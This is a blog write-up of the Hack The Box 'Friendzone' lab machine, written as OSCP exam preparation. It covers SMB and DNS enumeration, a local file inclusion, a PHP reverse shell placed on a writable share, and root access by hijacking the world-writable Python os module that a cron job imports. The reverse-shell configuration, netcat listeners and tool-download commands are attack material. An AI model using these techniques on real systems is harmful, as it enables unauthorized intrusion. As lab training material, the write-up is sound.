Hack The Box: Friendzone Write-up (#17)

Joshua Surendran
12 min readSep 3, 2020


This is my 17th box out of 42 boxes for OSCP preparation. I am doing my best learning and mastering the key skills for my upcoming OSCP exams by writing this series of blogs. Most of the write-up I get help from watching Ippsec’s YouTube videos and reading Rana Khalil’s write-ups. Please feel free to check them out. So let’s begin.


As usual, run a full TCP scan.

nmap -sC -sV -O -p- -oA nmap/full
  • -sC: Default Nmap script
  • -sV: Service/version info
  • -O: Enable OS detection
  • -oA: Output scan results in 3 different formats
  • -p-: Scan all ports from 1–65535

We get the back the following result:

  • Port 21: — Running FTP service, vsftpd 3.0.3.
  • Port 22: — Running SSH service, OpenSSH 7.6p1 Ubuntu 4
  • Port 53: — Running DNS service, ISC BIND 9.11.3–1ubuntu1.2.
  • Port 80: — Running HTTP service, Apache httpd 2.4.29 ((Debian)).
  • Port 139: — Running Samba smbd 3.X — 4.X.
  • Port 443: — Running HTTPS service, Apache httpd 2.4.29 ((Debian)).
  • Port 445: — Running Samba smbd 4.7.6-Ubuntu.
Nmap scan report for ip-10-10-10-123.ap-southeast-1.compute.internal (
Host is up (0.0096s latency).
Not shown: 65528 closed ports
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
| 256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_ 256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open ssl/http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after: 2018-11-04T21:02:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)

For UDP scan, I scanned for top100 ports with “ — top-ports” flag because I already rooted this box while full UDP scan was still running.

nmap -sU -O --top-ports=100 -oA nmap/udp-top100
  • -sU: UDP scan

We get back the following results.

  • Port 53: — Running DNS service.
  • Port 137: — Running NetBIOS service.
Nmap scan report for ip-10-10-10-123.ap-southeast-1.compute.internal (
Host is up (0.010s latency).
Not shown: 97 closed ports
53/udp open domain
137/udp open netbios-ns
138/udp open|filtered netbios-dgm

Before we begin service enumeration, let’s do quick mental notes.

  1. Port 21 FTP service, version vsftpd 3.0.3 and Port 22 SSH service, version OpenSSH 7.6p1 do not have known vulnerabilities. If we found any credentials during enumeration we use them to access these services.
  2. Port 53 is a DNS service. We can enumerate to find possible subdomains if there is any. If there is then we will have another URL to enumerate.
  3. Port 80 and 443 are web services. We need to map the domain of the host to its IP address in our Kali Linux /etc/hosts file. Then we perform brute force of the directories.
  4. Port 139 and 445 belong to Samba service. We will try to enumerate to find if there are any shares enabled to access. If there is we enumerate further to find sensitive info.

Let’s begin with Samba service.

Service Enumeration

We need to map the domain (get it from full Nmap scan) to its IP address. Edit the /etc/hosts file and append the below line.    friendzone.red

Save and exit the file.

Port 139,445 (Samba Service)

In our Kali Linux, run the SMB enumeration script, enum4linux.

enum4linux -a

We get back the following results.

We have available share details and only general and Development shares can be listing. Let’s manually check them for share permission using smbmap.

smbmap -H
  • -H: Target IP

We get back the following result.

Nice, we have read permission on general and read and write permission on Development share. We also noticed this Files share is placed under /etc/Files based on the comment. So we assume the general and Development also under /etc/ directory as well. Let’s enumerate further by giving -R option and “ — depth” option to recursively list the files under the share with a depth of 5 respectively.

smbmap -H -R --depth 5

We get back the following results.

We have a cred.txt file. Let’s download the file to our Kali Linux.

root@kali:/htb/Friendzone# smbclient //
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> get creds.txt
getting file \creds.txt of size 57 as creds.txt (1.6 KiloBytes/sec) (average 1.6 KiloBytes/sec)
smb: \> exit

Check the content of the file.

root@kali:/htb/Friendzone# cat creds.txt 
creds for the admin THING:

We have admin credentials not sure use for which service. We will save this, for now, to use it later.

Next, we have password policy information.

Minimum password length is 5 and the account lockout threshold is not set. This can be useful to brute force login credentials if we required to do so in the later phase.

We have one not common local user called “friend” with sid.

Port 80 (HTTP)

Let’s visit the page.

There is another domain “friendzoneportal.red”. Add them into /etc/hosts file as well. After added it should look like below.    friendzone.red friendzoneportal.red

Visit the source page of http://friendzone.red.

Nothing interesting is here.

Let’s visit the http://friendzoneportal.red.

This page same as http://friendzone.red. Check the source page as well.

Also the same.

Port 443 (HTTPS Web Service)

Visit the page.

We have a GIF. Check the source page.

We have directory information. Let’s visit to /js/js path.

Every time I refresh the page, we get a random value.

So I guess there is some script that generating this value. This is the potential place for directory brute force. Take note of this path.

Let’s visit the https://friendzoneportal.red.

We have a GIF page. Check the source page.

We have nothing here.

Port 53 (DNS Service)

Let’s begin to enumerate with zone transfer for friendzone.red domain.

dig axfr @ friendzone.red

We get back the following.

We have 3 subdomain names. Do the same for friendzoneportal.red domain.

We have 4 subdomains. Map all these subdomains in /etc/hosts file our Kali Linux. It should look like below.    admin.friendzoneportal.red administrator1.friendzone.red files.friendzoneportal.red friendzoneportal.red friendzone.red hr.friendzone.red imports.friendzoneportal.red uploads.friendzone.red vpn.friendzoneportal.red

We need to visit each host from browser to get info like a screenshot of the home page. We can do this using an automated tool called Aquatone. The binary file can be obtained from GitHub. Download the binary.

Next, save the subdomains in a host.txt file and prepend with https://. It should look like below. Refer shortcut here how to prepend text in every line.


Now everything is set. Let’s run aquatone.

cat hosts.txt | aquatone

We get back the following results.

aquatone v1.7.0 started at 2020-09-03T08:59:18+08:00Targets    : 9
Threads : 4
Ports : 80, 443, 8000, 8080, 8443
Output dir : .
https://imports.friendzoneportal.red: 404 Not Found
https://friendzone.red: 200 OK
https://administrator1.friendzone.red: 200 OK
https://admin.friendzoneportal.red: 200 OK
https://hr.friendzone.red: 404 Not Found
https://vpn.friendzoneportal.red: 404 Not Found
https://uploads.friendzone.red: 200 OK
https://files.friendzoneportal.red: 404 Not Found
https://friendzoneportal.red: 200 OK
https://imports.friendzoneportal.red: screenshot successful
https://admin.friendzoneportal.red: screenshot successful
https://administrator1.friendzone.red: screenshot successful
https://friendzone.red: screenshot successful
https://vpn.friendzoneportal.red: screenshot successful
https://hr.friendzone.red: screenshot successful
https://files.friendzoneportal.red: screenshot successful
https://uploads.friendzone.red: screenshot successful
https://friendzoneportal.red: screenshot successful
Calculating page structures... done
Clustering similar pages... done
Generating HTML report... done
Writing session file...Time:
- Started at : 2020-09-03T08:59:18+08:00
- Finished at : 2020-09-03T08:59:24+08:00
- Duration : 7s
- Successful : 9
- Failed : 0
- 2xx : 5
- 3xx : 0
- 4xx : 4
- 5xx : 0
- Successful : 9
- Failed : 0
Wrote HTML report to: aquatone_report.html

We also have screenshots of the home pages saved by aquatone. We view them from the browser. To do that, set a python web server in the aquatone directory.

python3 -m http.server 80

Visit our local host page from the browser and click on aquatone_report.html file.

After scroll down all the screenshots, we have 3 promising hostnames.

  1. https://admin.friendzoneportal.red
  2. https://administrator1.friendzone.red
  3. https://uploads.friendzone.red

Let’s visit admin.friendzoneportal.red.

It’s an admin login page. Let’s login with common and weak credential admin: admin.

The message says “check for another one”, meaning another admin page which is administrator1.friendzone.red. Let’s visit it.

Login with credentials admin: admin.

Credentials are wrong. We have another set of admin credentials obtained from Samba service enumeration. Let’s use them here.

Great! We are authenticated. Visit the /dashboard.php.

As per the message, the image_name parameter is missed. We need to use the default parameter to show the image. So let’s test it.

Here we have a timestamp and the default picture. We have one more hostname to enumerate. Let’s access https://uploads.friendzone.red.

Here we only can upload image files. Let’s upload some image here.

Now let’s go back to the previous admin dashboard and call this image file with a timestamp.

It breaks the image file.

Let’s test for Local File Inclusion (LFI) vulnerability with pagename parameter.

LFI works here. To confirm further, we have Development share with read and write permission. Let’s upload a simple PHP file there and call that it using pagename parameter. Write the following code into a test.php file.

root@kali:/htb/Friendzone# cat test.php 
<?php phpinfo() ?>

Login into SMB Development share and upload the test.php file.

root@kali:/htb/Friendzone# smbclient //
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> put test.php
putting file test.php as \test.php (0.6 kb/s) (average 0.6 kb/s)
smb: \>

The file uploaded successfully. Let’s call it from the browser.

Nice! We have code execution. Let’s turn it into a reverse shell.


Let’s upload a PHP reverse shell payload to the Development share. First. copy the php-reverse-shell from default directory to your working directory and rename it.

root@kali:/htb/Friendzone# cp /usr/share/webshells/php/php-reverse-shell.php .
root@kali:/htb/Friendzone# mv php-reverse-shell.php reverse.php

Edit the file and change the IP address and port number to your Kali Linux.

root@kali:/htb/Friendzone# cat revese.php 
set_time_limit (0);
$VERSION = "1.0";
$ip = ''; // CHANGE THIS
$port = 53; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

Upload the file now.

smb: \> put reverse.php
putting file reverse.php as \revese.php (78.6 kb/s) (average 45.9 kb/s)

Set a Netcat listener in your Kali Linux.

root@kali:/htb/Friendzone# nc -nlvp 53
listening on [any] 53 ...

Call the payload from the browser. Go back to the listener check if we have received a shell.

We have a reverse shell connected as www-data. Let’s upgrade the shell to a fully interactive shell.

python -c 'import pty;pty.spawn("/bin/bash")'

Then press CTRL+Z in your keyboard. After that type the following command.

stty raw -echo;fg

And press Enter key twice. Next, we set the env variable TERM to xterm that helps to clear the screen with the following command.

export TERM=xterm

Press enter. Let’s move to post-enumeration.

Post-Exploitation Enumeration

Let’s find the user.txt file.

www-data@FriendZone:/tmp$ find / -name user.txt -type f 2>/dev/null
www-data@FriendZone:/tmp$ ls -l /home/friend/user.txt
-r--r--r-- 1 root root 33 Oct 6 2018 /home/friend/user.txt

We have read permission for user.txt file. Let’s grab the user flag.

After doing some quick enumeration, there is a mysql_data.conf file under /var/www/. Checking the content reveals the DB credentials.

www-data@FriendZone:/var/www$ cat mysql_data.conf 
for development process this is the mysql creds for user friend

Take note of the credentials. Before we login into DB, let’s confirm the MySQL database service is running.

We don’t see any port 3306 (MySQL service default port)is running.

#1 Privilege Escalation

We have a home folder of user friend. Let’s try switch to “friend” using this database credentials.

Nice! It works. We successfully performed the first privilege escalation. The user Friend has admin privilege. Take note of that. Let’s download and run lse.sh script in the target machine. First set a python web server where your lse.sh script resides.

root@kali:/opt/LinEnum# python3 -m http.server 80
Serving HTTP on port 80 ( ...

From the target machine, download the file.

friend@FriendZone:/tmp$ wget
--2020-08-31 07:31:51--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: ‘lse.sh’
lse.sh 100%[=====================>] 45.54K --.-KB/s in 0.02s2020-08-31 07:31:51 (2.67 MB/s) - ‘lse.sh’ saved [46631/46631]

Execute the script.

bash lse.sh -l 1 -i
  • -l: Level of details
  • -i: Non-interactive mode

After reviewing the long output from the script, we noticed the following file os.py has writable permission.

Let’s check the file permission manually.

friend@FriendZone:/tmp$ ls -l /usr/lib/python2.7/os.py
-rwxrwxrwx 1 root root 25910 Jan 15 2019 /usr/lib/python2.7/os.py

We have full permissions. We can write our python reverse shell in it to escalate privileges. But let’s run pspy to identify cron jobs we don’t have permission to see. Download the 64-bit pspy64 file to the target machine.

friend@FriendZone:/tmp$ wget
--2020-09-03 08:51:47--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[===================>] 2.94M 10.0MB/s in 0.3s2020-09-03 08:51:47 (10.0 MB/s) - ‘pspy64’ saved [3078592/3078592]

Give executable permission.

chmod +x pspy64

Then execute it.


We get back the following results.

It seems like there is a cronjob running by root (UID=0) with python. Let’s check the file.

This script imports the os library. Nice! So we add our python reverse shell in the os.py file and expect to receive a reverse root shell in the context of root.

Privilege Escalation

Edit the os.py file and append python reverse shell as below.

except NameError: # statvfs_result may not exist
import socket,subprocess,os
import pty

save and exit. Now set a Netcat listener in your Kali Linux.

root@kali:/htb/Friendzone# nc -nlvp 53
listening on [any] 53 ...

Wait for the cronjob to run the job.

We got a root shell! Grab the root flag.

Attack Strategy Map

I have summarized the entire attack strategy on this map.

Thank you for reading :-) Next box is Swagshop.



Joshua Surendran

I am a security enthusiast. Learning new things every day for a joy. I love ethical hacking. I am deeply loved by God.